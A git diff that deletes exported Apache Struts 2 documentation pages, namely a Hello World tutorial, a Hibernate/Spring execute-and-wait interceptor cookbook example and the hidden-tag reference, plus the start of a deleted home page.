-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Hello World</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="bootstrap.html">Bootstrap</a>&nbsp;&gt;&nbsp;<a href="hello-world.html">Hello World</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Hello World</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13924">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13924">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13924">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13924">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13924">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13924">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>When you submit a HTML form to the framework, the input is not sent to another server page, but to a Java class that you provide. These classes are called Actions. After the Action fires, a Result selects a resource to render the response. The resource is generally a server page, but it can also be a PDF file, an Excel spreadsheet, or a Java applet window.</p>
-
-<p>Suppose you want to create a simple "Hello World" example that displays a <a shape="rect" class="external-link" href="http://www.PlanetStruts.org/struts2-blank/example/HelloWorld.action" rel="nofollow">welcome message</a>. After setting up an empty "tutorial" web application (see <a shape="rect" href="ready-set-go.html">Ready, Set, Go!</a>), to create a "Hello World" example, you need to do three things:</p>
-<ol><li>Create a server page to present the messages</li><li>Create an Action class to create the message</li><li>Create a mapping to couple the action and page
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>By creating these components, we are separating the workflow into three well-known concerns: the View, the Model, and the Controller. Separating concerns makes it easier to manage applications as they become more complex.</p></div></div>
-Let's look at an example Action, server page, and mapping. If you like, fire up your IDE, and enter the code as we go.</li></ol>
-
-
-<h2 id="HelloWorld-TheCode">The Code</h2>
-
-<p>First, we need a server page to present the message.</p>
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>HelloWorld.jsp</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-
-&lt;html&gt;
-    &lt;head&gt;
-        &lt;title&gt;Hello World!&lt;/title&gt;
-    &lt;/head&gt;
-    &lt;body&gt;
-        &lt;h2&gt;&lt;s:property value="message" /&gt;&lt;/h2&gt;
-    &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div>
-<p>Second, we need an Action class to create the message.</p>
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>HelloWorld.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package tutorial;
-import com.opensymphony.xwork2.ActionSupport;
-public class HelloWorld extends ActionSupport {
-
-    public static final String MESSAGE = "Struts is up and running ...";
-
-    public String execute() throws Exception {
-        setMessage(MESSAGE);
-        return SUCCESS;
-    }
-
-    private String message;
-
-    public void setMessage(String message){
-        this.message = message;
-    }
-
-    public String getMessage() {
-        return message;
-    }
-}
-</pre>
-</div></div>
-<p>Third, we need a mapping to tie it all together.</p>
-
-<p>Edit the <code>struts.xml</code> file to add the <code>HelloWorld</code> mapping.</p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>struts.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!DOCTYPE struts PUBLIC
-    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
-    "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-&lt;struts&gt;
-    &lt;package name="tutorial" extends="struts-default"&gt;
-        &lt;action name="HelloWorld" class="tutorial.HelloWorld"&gt;
-            &lt;result&gt;/HelloWorld.jsp&lt;/result&gt;
-        &lt;/action&gt;
-        &lt;!-- Add your actions here --&gt;
-    &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div>
-<p>Go ahead and try it now! Deploy the application and open <a shape="rect" class="external-link" href="http://localhost:8080/tutorial/HelloWorld.action" rel="nofollow">http://localhost:8080/tutorial/HelloWorld.action</a> and see what happens! You should see a page with the title "Hello World!" and the message "Struts is up and running!". </p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Don't forget</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Compile your Action to <code>WEB-INF/classes</code> and restart your container if necessary. If you are using maven, you can just run:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&gt; mvn jetty:run
-</pre>
-</div></div></div></div>
-
-<h2 id="HelloWorld-HowtheCodeWorks">How the Code Works</h2>
-
-<p>Your browser sends to the web server a request for the URL <a shape="rect" class="external-link" href="http://localhost:8080/tutorial/HelloWorld.action" rel="nofollow">http://localhost:8080/tutorial/HelloWorld.action</a>.</p>
-<ol><li>The container receives from the web server a request for the resource <code>HelloWorld.action</code>. According to the settings loaded from the <a shape="rect" href="webxml.html">web.xml</a>, the container finds that all requests are being routed to <code>org.apache.struts2.dispatcher.FilterDispatcher</code>, including the <code>*.action</code> requests. The FilterDispatcher is the entry point into the framework.</li><li>The framework looks for an action mapping named "HelloWorld [...]
-
-
-<p>For detailed information on Struts 2 architecture see <a shape="rect" href="big-picture.html">Big Picture</a>.</p>
-
-<h2 id="HelloWorld-TestingActions">Testing Actions</h2>
-
-<p>Testing an Action is easy. Here's a test for our Hello World Action.</p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>HelloWorldTest.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-package tutorial;
-import junit.framework.TestCase;
-import com.opensymphony.xwork2.Action;
-import com.opensymphony.xwork2.ActionSupport;
-
-public class HelloWorldTest extends TestCase {
-  public void testHelloWorld() throws Exception {
-
-    HelloWorld hello_world = new HelloWorld();
-    String result = hello_world.execute();
-
-    assertTrue("Expected a success result!",
-      ActionSupport.SUCCESS.equals(result));
-
-    assertTrue("Expected the default message!",
-      HelloWorld.MESSAGE.equals(hello_world.getMessage()));
-
-    }
-}
-</pre>
-</div></div>
-
-<h2 id="HelloWorld-WhattoRemember">What to Remember</h2>
-
-<p>The framework uses Actions to process HTML forms and other requests. The <code>Action</code> class returns a result-name such as <code>SUCCESS</code>, <code>ERROR</code>, or <code>INPUT</code>. Based on the mappings loaded from the <code>struts.xml</code>, a given result-name may select a page (as in this example), another action, or some other web resource (image, PDF). </p>
-
-<p>When a server page is rendered, most often it will include dynamic data provided by the Action. To make it easy to display dynamic data, the framework provides a set of tags that can be used along with HTML markup to create a server page.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Next </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Onward to <a shape="rect" href="using-tags.html">Using Tags</a> </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prev </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Return to <a shape="rect" href="ready-set-go.html">Ready, Set, Go!</a> </p></td></tr></tbody></table></d [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/hibernateandspringenabledexecuteandwaitinterceptor.html b/content/docs/hibernateandspringenabledexecuteandwaitinterceptor.html
deleted file mode 100644
index e86dea6..0000000
--- a/content/docs/hibernateandspringenabledexecuteandwaitinterceptor.html
+++ /dev/null
@@ -1,248 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>HibernateAndSpringEnabledExecuteAndWaitInterceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="hibernateandspringenabledexecuteandwaitinterceptor.html">HibernateAndSpringEnabledExecuteAndWaitInterceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">HibernateAndSpringEnabledExecuteAndWaitInterceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14042">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14042">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14042">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14042">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14042">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14042">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>Find example code below for an extension of the <em>ExecuteAndWaitInterceptor</em>.</p>
-
-<p>The goal of this code is to allow a background process to execute while having access to the same open Hibernate session object.</p>
-
-<p>The SessionFactory dependency is injected into the <em>OpenSessionExecuteAndWaitInterceptor</em> by Spring.  You may use other methods of dependency injection if you are more comfortable with them.  By overriding the <em>getNewBackgroundProcess()</em> method, this interceptor uses our custom <em>OpenSessionBackgroundProcess</em> instead of the WebWork default.</p>
-
-<p>Overriding the <em>beforeInvocation()</em> and <em>afterInvocation()</em> methods in the <em>OpenSessionBackgroundProcess</em> ensure that the session will stay open throughout the life of the background process, and any Spring transaction management will also be used.</p>
-
-<p>As this code is heavily dependent on Spring and Hibernate, you shouldn't expect to see it packaged with a WebWork distribution.  It does, however, serve as a useful example of extending the <a shape="rect" href="execute-and-wait-interceptor.html">Execute and Wait Interceptor</a></p>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>OpenSessionExecuteAndWaitInterceptor.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-import net.sf.hibernate.SessionFactory;
-
-import com.opensymphony.webwork.interceptor.BackgroundProcess;
-import com.opensymphony.webwork.interceptor.ExecuteAndWaitInterceptor;
-import com.opensymphony.xwork.ActionInvocation;
-
-
-/**
- * The OpenSessionExecuteAndWaitInterceptor will obtain a Hibernate
- * Session Factory from a Spring.
- * 
- * The session factory will then be passed to the BackgroundProcess,
- * to open a session, enable Spring's transaction management 
- * capabilities, and bind the Session to the background thread.
- * 
- */
-public class OpenSessionExecuteAndWaitInterceptor extends ExecuteAndWaitInterceptor {
-       
-    SessionFactory sessionFactory;
-
-    
-	public SessionFactory getSessionFactory() {
-		return sessionFactory;
-	}
-
-
-	public void setSessionFactory(SessionFactory sessionFactory) {
-		this.sessionFactory = sessionFactory;
-	}
-
-	protected BackgroundProcess getNewBackgroundProcess(String arg0, ActionInvocation arg1, int arg2) {
-		return new OpenSessionBackgroundProcess(arg0, arg1, arg2, sessionFactory);
-	}
-
-}
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;border-bottom-style: solid;"><b>OpenSessionBackgroundProcess.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class OpenSessionBackgroundProcess extends BackgroundProcess {
-
-	SessionFactory sessionFactory;
-	Session openSession;
-        protected boolean initializationComplete = false;
-        private Object lock = new Object(); // used for synchronization
-
-	public OpenSessionBackgroundProcess(String name,
-			ActionInvocation invocation, int threadPriority,
-			SessionFactory factory) {
-		super(name, invocation, threadPriority);
-		this.sessionFactory = factory;
-                initializationComplete = true;
-                synchronized (lock) {
-                        lock.notify();
-                }
-	}
-
-	protected void beforeInvocation() throws Exception {
-                while (!initializationComplete) {
-                        try {
-                                synchronized (lock) {
-                                        lock.wait(100);
-                                }
-                       } catch (InterruptedException e) {
-                               // behavior ignores cause of re-awakening.
-                       }
-                }
-		openSession = SessionFactoryUtils.getSession(sessionFactory, true);
-		openSession.setFlushMode(FlushMode.NEVER);
-		TransactionSynchronizationManager.bindResource(sessionFactory,
-				new SessionHolder(openSession));
-		super.beforeInvocation();
-	}
-
-	protected void afterInvocation() throws Exception {
-		super.afterInvocation();
-		TransactionSynchronizationManager.unbindResource(sessionFactory);
-		SessionFactoryUtils
-				.closeSessionIfNecessary(openSession, sessionFactory);
-	}
-}
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/hidden.html b/content/docs/hidden.html
deleted file mode 100644
index ea4c4a7..0000000
--- a/content/docs/hidden.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>hidden</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="hidden.html">hidden</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">hidden</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14313">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14313">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14313">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14313">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14313">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14313">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="hidden-Description">Description</h2>
-
-<p>Renders an HTML input element of type hidden, populated by the specified property from the ValueStack.</p>
-
-<h2 id="hidden-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-
-<h2 id="hidden-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;-- example one --&gt;
-&lt;s:hidden name=&quot;foo&quot; /&gt;
-&lt;-- example two --&gt;
-&lt;s:hidden name=&quot;foo&quot; value=&quot;%{bar}&quot; /&gt;
-
-Example One Resulting HTML (if foo evaluates to bar):
-&lt;input type=&quot;hidden&quot; name=&quot;foo&quot; value=&quot;bar&quot; /&gt;
-Example Two Resulting HTML (if getBar method of the action returns &#39;bar&#39;)
-&lt;input type=&quot;hidden&quot; name=&quot;foo&quot; value=&quot;bar&quot; /&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/home.html b/content/docs/home.html
deleted file mode 100644
index 5378ce9..0000000
--- a/content/docs/home.html
+++ /dev/null
@@ -1,165 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
